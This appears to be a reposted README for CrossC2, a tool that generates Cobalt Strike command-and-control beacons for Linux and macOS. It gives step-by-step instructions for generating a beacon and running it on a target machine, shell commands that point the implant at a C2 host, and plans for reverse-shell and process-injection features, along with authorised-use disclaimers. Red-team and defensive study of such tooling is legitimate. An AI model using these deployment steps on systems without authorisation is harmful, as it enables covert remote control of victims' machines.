CrossC2 - generate CobaltStrike's cross-platform payload

项目说明

CrossC2 framework

! Linux
! macOS
![GitHub issues-closed]()
![Release]()
![Downloads]()

<p align="center">
<img alt="CrossC2 Logo" src="media/533/CrossC2_logo.png" height="30%" width="30%">
</p>

README | 中文文档 | README_FULL | 中文完整文档

CobaltStrike support

Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the de support of Unix post-penetration module

| | CS3.14(bug fixes) | CS4.0 | CS4.X (4.1~4.8) |
|-----------------|----------|-------|---------------|
| Master branch | ✅ | | |
| cs4.0 branch | | ✅ | |
| cs4.1 branch | | | ✅ |
| | | | |
| Release Page <= v2.1 | ✅ | | |
| Release Page >= v2.2 | | | ✅ |

!2023-07-31 16.56.51

Usage

> 1. Download

Download CrossC2.cna genCrossC2 CrossC2Kit, modify CrossC2.cna configuration

> 2. Create listener and copy key

* Create windows/beacon_https/re listener
* Copy .cobaltstrike.beacon_keys in teamser to local

> 3. Function extension

* Add CrossC2Kit_Loader.cna, including memory loading and other functions
* cs4.x file management, process list function is missing, you must use this Loader to restart

> 4. Generate beacon

Use the 界面 function provided by cli or cna to generate beacon by default

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

ex:

more ad configuration can be found in the documentation: 📄Reference

> 5. Run beacon

* Run the one-click online script generated by the CrossC2 plugin on the target
* After uploading the beacon to the target machine for empowered operation
* Set the working directory for beacon and run: export CCPATH=/opt/ && /tmp/c2
* Temporarily specify the 协议 library for beacon and run: /tmp/c2 /tmp/c2-rebind.so
* Temporarily set C2 configuration for beacon: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
* Set DEBUG to view the online status of beacon: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit:

CrossC2Kit is an infiltration expansion around the Unix platform derived from CrossC2. Use Aggressor Script Open 源码 Script 引擎. It can be used to create automation to simulate the operation process of the Red Team and expand the CobaltStrike client.

CrossC2Kit is inherited from the original features of CobaltStrike, so the de and writing grammar still refer to the official documentation:

But it has some API extensions on top of CrossC2 to control the beacon of the Unix platform

API: 📄Reference

Demo: !CrossC2_action2

Note

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified is also prohibited, or otherwise bear legal responsibilities.

Todo

1. http-proxy (auth) & socks proxy back connection support
2. node beacon? (Single node type, can host other beacon without relying on teamserver)
3. Linux & MacOS side so/dylib's reverse shell support, and its deri process injection functions

Thank

Thanks to for the Logo designed for CrossC2, which is designed in the style of Armitage and CobaltStrike series

项目信息

开发语言：C

Star 数：2573

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕generate CobaltStrike's cross-platform payload展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。